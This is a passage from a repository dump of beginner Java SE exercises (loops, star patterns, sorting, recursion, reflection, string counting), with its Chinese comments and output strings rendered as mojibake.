    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Arr {\n\tpublic static void main(String[] args) {\n\t\t\n//\t\tint ever[]=new int[]{1,2,3,4,5,6,7,8};\n\t\tint ever[]={1,2,3,4,5,6,7,8};\n\t\t\n\t\tfor(int i=0;i<ever.length;i++){\n\t\t\tSystem.out.println(ever[i]);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Function.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Function {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*int j=1;\n\t\tfor(int i=9;i>=1;i--){\n\t\t\tj=(j+1)*2;\n\t\t\tSystem.out.println(j);\n\t\t}*/\n\t\tSystem.out.println(getNum(1));\n\t}\n\t\n\tstatic int getNum(int n){\n\t\tif(n==10){\n\t\t\treturn 1;\n\t\t}\n\t\telse{\n\t\t\treturn (getNum(n+1)+1)*2;\n\t\t}\n\t}\n}\n//i��������j����ʣ�������������ÿ���һ���һ�������һ��ʣһ��->��һ���*2+1����ǰһ��\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/HomeWork.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class HomeWork {\n\tpublic static void main(String[] args) {\n\t\tfor(int man=0;man<=12;man++){\n\t\t\tfor(int woman=0;woman<=18;woman++){\n\t\t\t\tfor(int child=0;child<=36-man-woman;child++){\n\t\t\t\t\tif(3*man+2*woman+child/2==36&&man+woman+child==36&&child%2==0){\n\t\t\t\t\t\tSystem.out.println(\"����\"+man+\"Ů��\"+woman+\"С��\"+child);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println();\n\t\t\n\t\tint count=0;\n\t\tfor(int cock=0;cock<=20;cock++){\n\t\t\tfor(int hen=0;hen<=33;hen++){\n\t\t\t\tfor(int chick=0;chick<=200;chick++){\n\t\t\t\t\tif(cock*5+hen*3+chick/2==100&&cock+hen+chick==100&&chick%2==0){\n\t\t\t\t\t\tSystem.out.println(\"����\"+cock+\"ĸ��\"+hen+\"С��\"+chick);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcount++;\n\t\t}\n\t\tSystem.out.println(\"���д���Ϊ\"+count);\n\t\tSystem.out.println();\n\t/*\t\n\t\tint a=378;\n\t\tSystem.out.println(a/100+\" \"+a/10%10+\" \"+a%10);*/\n\t\t\n\t\t\n\t\tfor(int i=100;i<1000;i++){\n\t\t\tint a=i/100;\n\t\t\tint b=i/10%10;\n\t\t\tint c=i%10;\n\t\t\tif(a*a*a+b*b*b+c*c*c==i){\n\t\t\t\tSystem.out.println(\"ˮ�ɻ���\"+i);\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Nested.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Nested {\n\tpublic static void main(String[] args) {\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int j=1;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int j=1;j<=i;j++){\n\t\t\t\tSystem.out.print(\"#\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int k=1;k<=i;k++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int j=1;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\tfor(int i=1;i<=5;i++){\n\t\t\tfor(int j=1;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}//�ո�ݼ�\n\t\t\tfor(int k=1;k<=i;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}//�Ǻŵ���\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tfor(int i=1;i<=9;i++){\n\t\t\tfor(int j=1;j<=i;j++){\n\t\t\t\tSystem.out.print(i+\"*\"+j+\"=\"+i*j+\"\\t\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}//�˷���\n\t\t\n\t\tint sum=0;\n\t\tfor(int i=0;i<=100;i++){\n\t\t\tif(i%2!=0){\n\t\t\t\tsum+=i;\n\t\t\t\tSystem.out.println(\"i:\"+i);\n\t\t\t\tSystem.out.println(\"sum:\"+sum);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"100���ڵ�������Ϊ:\"+sum);\n\t\t\n\t\tfor(int i=1;i<=9;i++){\n\t\t\tfor(int j=1;j<=10-i;j++){\n\t\t\t\tSystem.out.print(i+\"*\"+j+\"=\"+i*j+\"\\t\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\t/*for(int i=1;i<=5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=1;k<=2*i-1;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tfor(int i=1;i<=4;i++){\n\t\t\tfor(int k=1;k<=i;k++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int j=5;j>=2*i-1;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}*/\n\t\t\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Shop.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Shop {\n\tpublic  static void main(String[] args){\n\t\tString name=\"��ˢ\";\n\t\tint price=12,amount=2;\t\t\n\t\t\n\t\tSystem.out.println(\"��Ʒ��\"+\" \"+\"����\"+\" \"+\"����\"+\" \"+\"�ܼ�\");\n\t\tSystem.out.println(name+\" \"+price+\" \"+amount+\" \"+price*amount);\n\t\t\n\t\t/*System.out.println(\"��ˢ\"+\" \"+\"10Ԫ\"+\" \"+\"1\"+\" \"+\"10Ԫ\");\n\t\tSystem.out.println(\"����\"+\" \"+\"20\"+\" \"+\"2\"+\" \"+\"40Ԫ\");\n\t\tSystem.out.println(\"ë��\"+\" \"+\"20\"+\" \"+\"1\"+\" \"+\"20\");*/\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Star.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Star {\n\tpublic static void main(String[] args) {\n\t\tfor(int i=0;i<6;i++){\n\t\t\tfor(int j=0;j<6;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\n\t\t\n\t\tfor(int i=1;i<=6;i++){\n\t\t\tfor(int j=1;j<=6-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}//����ո�\n\t\t\tfor(int k=1;k<=6;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}//�������\n\t\t\tSystem.out.println();\n\t\t}\t\n//\t\tj<=6-i��ʼ�Ŀո��������һ�п�5�����ڶ��п�4���������п�3�����Դ�����\n\t\t\n\t\tfor(int i=0;i<5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\t\n\t\t\tfor(int k=0;k<=i*2;k++){\n\t\t\t\tSystem.out.print(\"*\");\t\t\t\t\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\t\n\t\t\tfor(int k=0;k<=i;k++){\n\t\t\t\tSystem.out.print(\" \");\t\t\t\t\n\t\t\t}\n\t\t\tSystem.out.println();\n\n\t\t}\n\t\t\n\t\t\n\t\tfor(int i=0;i<=3;i++){\n\t\t\tfor(int j=0;j<=i;j++){\n\t\t\t\tfor(int k=0;k<=j;k++){\n\t\t\t\t\tfor(int m=0;m<=k;m++){\n\t\t\t\t\t\tfor(int n=0;n<=m;n++){\n\t\t\t\t\t\t\tSystem.out.print(\"$\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\t\n\t\t\n\t\tfor(int i=0;i<=5;i++){\n\t\t\tfor(int j=0;j<=5-i;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=0;k<=i*2;k++){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t\tfor(int i=0;i<=4;i++){\n\t\t\tfor(int j=0;j<=i+1;j++){\n\t\t\t\tSystem.out.print(\" \");\n\t\t\t}\n\t\t\tfor(int k=8;k>=i*2;k--){\n\t\t\t\tSystem.out.print(\"*\");\n\t\t\t}\n\t\t\tSystem.out.println(\" \");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Sum.java",
    "content": "package com.jun.plugin.javase.oneday;\n\npublic class Sum {\n\tpublic  static void main(String[] args){\n\t\tint a=120;\n\t\tint b=180;\n\t\t\n//\t\tSystem.out.println(a>b?\"a��\":\"b��\");\n\t\t\n\t\tif(a>b){\n\t\t\tSystem.out.println(\"a��\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"b��\");\n\t\t}\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/oneday/Sum2.java",
    "content": "package com.jun.plugin.javase.oneday;\n\nimport java.util.Scanner;\n\npublic class Sum2 {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*Scanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"���������֣�\");\n\t\tint week=scan.nextInt();*/\n\t\tint week=5;\n\t\t\n\t\t/*if(week==1){\n\t\t\tSystem.out.println(\"����һ\");\n\t\t}\n\t\telse if(week==2){\n\t\t\tSystem.out.println(\"���ڶ�\");\n\t\t}\n\t\telse if(week==3){\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t\telse if(week==4){\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t\telse if(week==5){\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t\telse if(week==6){\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"������\");\n\t\t}*/\n\t\t\n\t\tswitch (week){\n\t\t\tcase 1:\n\t\t\t\tSystem.out.println(\"����1\");\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tSystem.out.println(\"����2\");\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tSystem.out.println(\"����3\");\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tSystem.out.println(\"����4\");\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tSystem.out.println(\"����5\");\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tSystem.out.println(\"����6\");\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t\t\n\t\tint x=1;\n\t\tint sum=0;\n\t\twhile(x<=100){\n\t\t\tsum+=x;\n\t\t\tx++;\n\t\t}\n\t\tSystem.out.println(sum);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/reflectTest/Example_01.java",
    "content": "package com.jun.plugin.javase.reflectTest;\n\npublic class Example_01 {\n\tpublic static void main(String[] args) {\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/reflectTest/ReflectTest.java",
    "content": "package com.jun.plugin.javase.reflectTest;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class ReflectTest {\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tClass cls=Class.forName(\"com.yc.reflectTest.User\");\n\t\t\tField[] field=cls.getDeclaredFields();\n\t\t\tfor(Field f:field){\n\t\t\t\tSystem.out.println(f);\n\t\t\t}\n\t\t\tSystem.out.println(\"------------\");\n\t\t\tMethod[] method=cls.getDeclaredMethods();\n\t\t\tfor(Method m:method){\n\t\t\t\tSystem.out.println(m);\n\t\t\t}\n\t\t} catch (ClassNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/reflectTest/User.java",
    "content": "package com.jun.plugin.javase.reflectTest;\n\npublic class User {\n\tprivate int age;\n\tprivate String name;\n\tprivate String sex;\n\tint hight;\n\tint weight;\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getSex() {\n\t\treturn sex;\n\t}\n\tpublic void setSex(String sex) {\n\t\tthis.sex = sex;\n\t}\n\tpublic int getHight() {\n\t\treturn hight;\n\t}\n\tpublic void setHight(int hight) {\n\t\tthis.hight = hight;\n\t}\n\tpublic int getWeight() {\n\t\treturn weight;\n\t}\n\tpublic void setWeight(int weight) {\n\t\tthis.weight = weight;\n\t}\n\tpublic User() {\n\t\tsuper();\n\t}\n\tpublic User(int age, String name, String sex, int hight, int weight) {\n\t\tsuper();\n\t\tthis.age = age;\n\t\tthis.name = name;\n\t\tthis.sex = sex;\n\t\tthis.hight = hight;\n\t\tthis.weight = weight;\n\t}\n\t@Override\n\tpublic String toString() {\n\t\treturn \"User [age=\" + age + \", name=\" + name + \", sex=\" + sex\n\t\t\t\t+ \", hight=\" + hight + \", weight=\" + weight + \"]\";\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/sixday/Array.java",
    "content": "package com.jun.plugin.javase.sixday;\n\nimport java.util.Arrays;\n\npublic class Array {\n\tpublic static void main(String[] args) {\n\t\tint[] arr={2,45,21,6,8,94,100,8,4,123,54,76,90};\n\t\tint l=arr.length;\n\t\tint[] arr1=Arrays.copyOfRange(arr,0,l);\n\t\t\n\t\tint temp=0;\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tif(arr[i]>arr[i+1]){\n\t\t\t\ttemp=arr[i];\n\t\t\t\tarr[i]=arr[i+1];\n\t\t\t\tarr[i+1]=temp;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor(int j=0;j<arr1.length-1;j++){\n\t\t\tif(arr1[j]==temp){\n\t\t\t\tSystem.out.println(\"���ֵ���±��ǣ�\"+j);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"����arr�е����ֵ��:\"+temp);//�����������ֵ�����±�\n\t\t\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/sixday/CommonMethod.java",
    "content": "package com.jun.plugin.javase.sixday;\n\npublic class CommonMethod {\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t}\n\t\n\t\n\tstatic long factorial(int n){\n\t\tif(n==1){\n\t\t\treturn 1;\n\t\t}\n\t\telse{\n\t\t\treturn n*factorial(n-1);\n\t\t}\n\t}\n\t\n\tstatic void isPalin(int number){\n\t\tint[] array=new int[5];\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tarray[i]=number%10;\n\t\t\tnumber=number/10;\n\t\t}\n\t\t\n\t\tif(array[0]==array[array.length-1]&&array[1]==array[array.length-2]){\n\t\t\tSystem.out.println(\"�ǻ���\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"���ǻ���\");\n\t\t}\n\t}\n\t\n\tstatic void parseInt(int n){\n\t\tint[] a = new int[11];\n\t\tint i=0;\n\t\tdo{\n\t\t  a[i] = n%10;\n\t\t  n /= 10;\n\t\t  i++;\n\t\t}while(n!=0);\n\t\tSystem.out.println(\"��һ��\"+i+\"λ��\");\n\t\tSystem.out.print(\"ÿλ���ֱ��ǣ�\");\n\t\tfor(int j=i-1;j>=0;j--){\n\t\t\tif(j==0){\n\t\t\t\tSystem.out.print(a[j]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(a[j]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic static void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}//������鷽��\n\t\n\tpublic static void bubbleSort(int[] array){\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tfor(int j=0;j<array.length-i-1;j++){\n\t\t\t\tif(array[j]>array[j+1]){\n\t\t\t\t\tint temp=array[j];\n\t\t\t\t\tarray[j]=array[j+1];\n\t\t\t\t\tarray[j+1]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//printArrays(array);\n\t}\n\t\n\tstatic void selectSort(int[] array){\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tfor(int j=i+1;j<array.length;j++){\n\t\t\t\tif(array[i]>array[j]){\n\t\t\t\t\tint temp=array[i];\n\t\t\t\t\tarray[i]=array[j];\n\t\t\t\t\tarray[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n\tstatic void reverse(int[] array){\n\t\tfor(int i=0;i<array.length/2;i++){\n\t\t\tint temp=array[i];\n\t\t\tarray[i]=array[array.length-1-i];\n\t\t\tarray[array.length-1-i]=temp;\n\t\t}\n\t\tprintArrays(array);\n\t}//��������\n\t\n\tstatic void arrayMax(int[] array){\n\t\tint max=array[0];\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tif(array[i]>max){\n\t\t\t\tmax=array[i];\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tif(array[i]==max){\n\t\t\t\tSystem.out.println(\"���ֵ���±��ǣ�\"+i);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�����е����ֵ�ǣ�\"+max);\n\t}\n\t\n\tstatic int sum(int n){\n\t\tif(n>2){\n\t\t\treturn sum(n-1)+sum(n-2);\n\t\t}\n\t\telse{\n\t\t\treturn 1;\n\t\t}\n\t}//�ƽ�����\n\n\tstatic void isPrime(int n){\n\t\tboolean flag=true;\n\t\tfor(int i=2;i<n;i++){\n\t\t\tif(n%i==0){\n\t\t\t\tflag=false;\n\t\t\t\tSystem.out.println(\"��������\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tif(flag==true){\n\t\t\tSystem.out.println(\"������\");\n\t\t}\n\t}\n\t\n\tpublic static double arraySum(int[] array){\n\t\tdouble sum=0;\n\t\tfor(int i=1;i<array.length-1;i++){\n\t\t\tsum=sum+array[i];\n\t\t}\n\t\treturn sum;\n\t}//��������Ԫ�صĺ�\n\t\n\tstatic void printArr_2(int[][]arr){\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tfor(int j=0;j<arr[i].length;j++){\n\t\t\t\tif(j==arr[i].length-1){\n\t\t\t\t\tSystem.out.print(arr[i][j]);\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tSystem.out.print(arr[i][j]+\",\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t}\n\t}//�����ά����\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/sixday/MaxMethod.java",
    "content": "package com.jun.plugin.javase.sixday;\n\npublic class MaxMethod {\n\tpublic static void main(String[] args) {\n\t\t/*int[] arr={1,43,23,76,4,8,18};\n\t\tint max=arr[0];\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tif(arr[i]>max){\n\t\t\t\tmax=arr[i];\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tif(arr[i]==max){\n\t\t\t\tSystem.out.println(\"���ֵ���±��ǣ�\"+(i+1));\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�����е����ֵ�ǣ�\"+max);*/\n\t\t\n\t\t\n\t\t\n\t\t/*int[] arr=new int[50];\n\t\tint count=1;\n\t\tfor(int i=0;i<=arr.length-1;i++){\n\t\t\tarr[i]=count;\n\t\t\tcount++;\n\n\t\t\tif(i%3==0&&i!=0){\n\t\t\t\tarr[i-1]=arr[i];\n\t\t\t\t//arr[i-1]=0;\n\t\t\t}\n\t\t}*/\n\t\t/*for(int j=0;j<arr.length;j++){\n\t\t\tSystem.out.print(arr[j]+\",\");\n\t\t}*///�ѶȽϴ����\n\t\t\n\t\t\n\t\tint[] arr1={2,3,2,3,2,3};\n\t\tint count=0;\n\t\tfor(int i=0;i<arr1.length;i++){\n\t\t\tfor(int j=arr1.length-1;j>i;j--){\n\t\t\t\tif(arr1[j]<arr1[i]){\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(count);//�����������\n\t\t\n\t\t\n\t\t\n\t\t/*int[] arr={1,43,23,76,4,8,18};\n\t\tmax(arr);//��������е����ֵ�����±�*/\n\t\t\n\t\t\n\t}\n\t\n\tpublic static void max(int[] array){\n\t\tint max=array[0];\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tif(array[i]>max){\n\t\t\t\tmax=array[i];\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tif(array[i]==max){\n\t\t\t\tSystem.out.println(\"���ֵ���±��ǣ�\"+i);\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�����е����ֵ�ǣ�\"+max);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/sixday/Test.java",
    "content": "package com.jun.plugin.javase.sixday;\n\nimport java.util.Scanner;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\t/*int[] array={63,4,24,1,3,15};\n\n\t\tTest sorter=new Test();\n\t\tsorter.sort(array);//���÷�������ð������\n*/\t\t\n\t\t/*for(int i=0,j=array.length-1;i<j;i++,j--){\n\t\t\tint temp=array[i];\n\t\t\tarray[i]=array[j];\n\t\t\tarray[j]=temp;\n\t\t}*///����λ���������������ʦ��\n\t\t\n\t\t/*int[] array={63,4,24,1,3,15};\n\t\tfor(int i=0;i<array.length-1;i++){\n\t\t\tint temp=array[i];\n\t\t\tarray[i]=array[array.length-i-1];\n\t\t\tarray[array.length-i-1]=temp;\n\t\t}//����λ��������������д�\n\t\t\n\t\tfor(int j=0;j<array.length;j++){\n\t\t\tSystem.out.print(array[j]+\",\");\n\t\t}*///��������ÿһ��\n\t\t\n\t\t/*double m=1,n=2,sum=0;\n\t\tfor(int i=0;i<20;i++){\n\t\t\tdouble j=m;\n\t\t\tdouble k=n;\n\t\t\tsum=sum+(n/m);\n\t\t\tn=k+j;\n\t\t\tm=k;\n\t\t}\n\t\tSystem.out.println(sum);//���2/1��3/2��5/3��8/5��13/8��21/13...*/\t\t\n\t\t\n\t\t\n\t\t/*long sum=0;\n\t\tfor(int i=1;i<=20;i++){\n\t\t\tsum+=factorial(i);\n\t\t}\n\t\tSystem.out.println(sum);//���1+2!+3!+...+20!*/\t\t\n\t\t\n\t\t\n\t\t/*int a=12321;\n\t\tisPalin(a);//�жϻ���*/\t\t\n\t\t\n\t\tint n=1030121340;\n\t\tparseInt(n);//�ж�����λ������ÿλ������ֵ\t\t\n\t\t\n\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*System.out.print(\"������һ��������\");\n\t\tScanner scan = new Scanner(System.in);\n\t\tint n = scan.nextInt();\n\t\tscan.close();\n\t\t//�������������ʶĳ���Ƿ���Ȧ��\n\t\tboolean[] isIn = new boolean[n];\n\t\tfor(int i=0;i<isIn.length;i++)\n\t\t\t isIn[i] = true;\n\t\t//����Ȧ������������������\n\t\tint inCount = n;\n\t\tint countNum = 0;\n\t\tint index = 0;\n\t\twhile(inCount>1){\n\t\t\tif(isIn[index]){\n\t\t\t\tcountNum++;\n\t\t\t\tif(countNum==3){\n\t\t\t\t\tcountNum = 0;\n\t\t\t\t\tisIn[index] = false;\n\t\t\t\t\tinCount--;\n\t\t\t\t}\n\t\t\t}\n\t\t\tindex++;\n\t\t\tif(index==n)\n\t\t\t\t index = 0;\n\t\t}\n\t\tfor(int i=0;i<n;i++)\n\t\t\t if(isIn[i])\n\t\t\t   System.out.println(\"���µ��ǣ�\"+(i+1));*/\n\n\n\t\t\n\t}\n\t\n\t\n\tpublic void sort(int[] array){\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tfor(int j=0;j<array.length-1;j++){\n\t\t\t\tif(array[j]>array[j+1]){\n\t\t\t\t\tint temp=array[j];\n\t\t\t\t\tarray[j]=array[j+1];\n\t\t\t\t\tarray[j+1]=temp;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\tprintArrays(array);\n\t}\n\t\n/*\tpublic void showArray(int[] array){\n\t\tfor(int i:array){\n\t\t\tSystem.out.print(\"<\"+i);\n\t\t}\n\t\tSystem.out.println();\n\t}*/\n\t\n\tstatic long factorial(int n){\n\t\tif(n==1){\n\t\t\treturn 1;\n\t\t}\n\t\telse{\n\t\t\treturn n*factorial(n-1);\n\t\t}\n\t}\n\t\n\tstatic void isPalin(int number){\n\t\tint[] array=new int[5];\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tarray[i]=number%10;\n\t\t\tnumber=number/10;\n\t\t}\n\t\t\n\t\tif(array[0]==array[array.length-1]&&array[1]==array[array.length-2]){\n\t\t\tSystem.out.println(\"�ǻ���\");\n\t\t}\n\t\telse{\n\t\t\tSystem.out.println(\"���ǻ���\");\n\t\t}\n\t}\n\t\n\tstatic void parseInt(int n){\n\t\tint[] a = new int[11];\n\t\tint i=0;\n\t\tdo{\n\t\t  a[i] = n%10;\n\t\t  n /= 10;\n\t\t  i++;\n\t\t}while(n!=0);\n\t\tSystem.out.println(\"��һ��\"+i+\"λ��\");\n\t\tSystem.out.print(\"ÿλ���ֱ��ǣ�\");\n\t\tfor(int j=i-1;j>=0;j--){\n\t\t\tif(j==0){\n\t\t\t\tSystem.out.print(a[j]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(a[j]+\",\");\n\t\t\t}\n\t\t}\n\t}\n\t\n\tstatic void printArrays(int[] array){\n\t\tSystem.out.print(\"[\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i]+\"]\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.print(array[i]+\",\");\n\t\t\t}\n\t\t}\n\t}//������鷽��\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/string/Test1.java",
    "content": "package com.jun.plugin.javase.string;\n\npublic class Test1 {\n\tpublic static void main(String[] args) {\n\t\t/*String[] strArr={\"nba\",\"abc\",\"cba\",\"zz\",\"qq\",\"haha\",\"zq\"};\n\t\tcompareTo(strArr);*/\n\t\tString str=\"nba\";\n\t\tString str2=\"nbaernbanatypenbnbapnaonanba\";\n\t\tshowCount3(str2,str);\n\t\t\n\t\t/*String str3=\"nbaernbanatypenbnbapnaonanba\";\n\t\tSystem.out.println(str3.indexOf(str,0));*/\n\t}\n\t\n\tstatic void compareTo(String[] arr){\n\t\tfor(int i=0;i<arr.length-1;i++){\n\t\t\tfor(int j=i+1;j<arr.length;j++){\n\t\t\t\tif(arr[i].compareTo(arr[j])>0){\n\t\t\t\t\tString temp=arr[i];\n\t\t\t\t\tarr[i]=arr[j];\n\t\t\t\t\tarr[j]=temp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tSystem.out.println(arr[i]);\n\t\t}\n\t}\n\t\n\tstatic void showCount(String str1,String str2){\n\t\tint n=str1.length();\n\t\tint count=0;\n\t\tfor(int i=0;i<str2.length()-(n-1);i++){\n\t\t\tif(str1.equals(str2.substring(i,i+n))){\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(count);\n\t}\n\t\n\tstatic void showCount2(String str,String key){\n\t\tint count=0;\n\t\tint index=0;\n\t\twhile((index=str.indexOf(key))!=-1){\n\t\t\tcount++;\n\t\t\tstr=str.substring(index+key.length());\n\t\t}\n\t\tSystem.out.println(count);\n\t}\n\tstatic void showCount3(String str,String key){\n\t\tint count=0;\n\t\tint index=0;\n\t\twhile((index=str.indexOf(key,0))!=-1){\n\t\t\tcount++;\n\t\t\tstr=str.substring(index+key.length());\n\t\t}\n\t\tSystem.out.println(count);\n\t}\n}\n"
  },
  {
